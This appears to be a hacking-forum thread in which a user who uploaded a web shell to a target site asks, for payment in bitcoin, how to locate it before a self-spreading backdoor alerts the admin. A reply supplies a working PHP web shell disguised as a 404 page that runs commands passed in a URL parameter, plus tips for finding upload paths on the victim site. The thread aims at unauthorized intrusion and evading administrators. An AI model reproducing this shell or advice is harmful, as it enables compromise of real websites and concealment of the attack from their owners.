[fmp_user]

Hi HF

I want know an easily method to find shell when his uploaded.
"When i say easily is because i want a possible method, not say me a method impossible.."

I have try seen the traffic output with Wireshark, but nothing appears.
I have try seen temper data nothing.
Actually i bruteforce for search directory, but i want more 1 years to find my shell with this method :D
That work on other website, but not in my actually target.

I have backdoor my file if an visitor going to my ".php" more 50 malicious script are spread on the server and i receive a mail with path of my file, but i hope find my shell before, because if all my script are spread on server an admin can see he has attacked ^^.

Off course i pay for that !

---

Up, is very important, i pay an important amount in btc for find my shell!

[Gee4rce]

Hello,
a few things first as you seem to be new here:
- try to improve your english skills, as it's currently hard to understand what you wrote in sum.
- you can not get in direct contact yet with other users as PrivateMessaging remains locked until you reach 25 posts.
- you are talking of scripts that auto spread, but you cannot find the shell, so i assume you have used not your own code?

First of, get rid of that spreading script shit, use a clean and simple shell for the beginning.
This i.e. is a simple shell that won't cause to much attention:

Code

<?php if (!isset($_GET['c'])) { echo '<html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center></body></html>'; } else { echo "<pre>".shell_exec($_GET['c'])."</pre>"; } exit; ?>

How to find right path of your file (i have put this into an image, to lazy to type all):


Different attempt (incase website throws no errors like seen in the image), just go and upload a simple image,
or some other accepted file by the website. For image uploads, you mostly get the image itself displayed after upload.
Now just right-click the image and select "Show Image", browser will open it for you in a new tab and has a high chance
to reveal the upload path.

Cheers, Gee.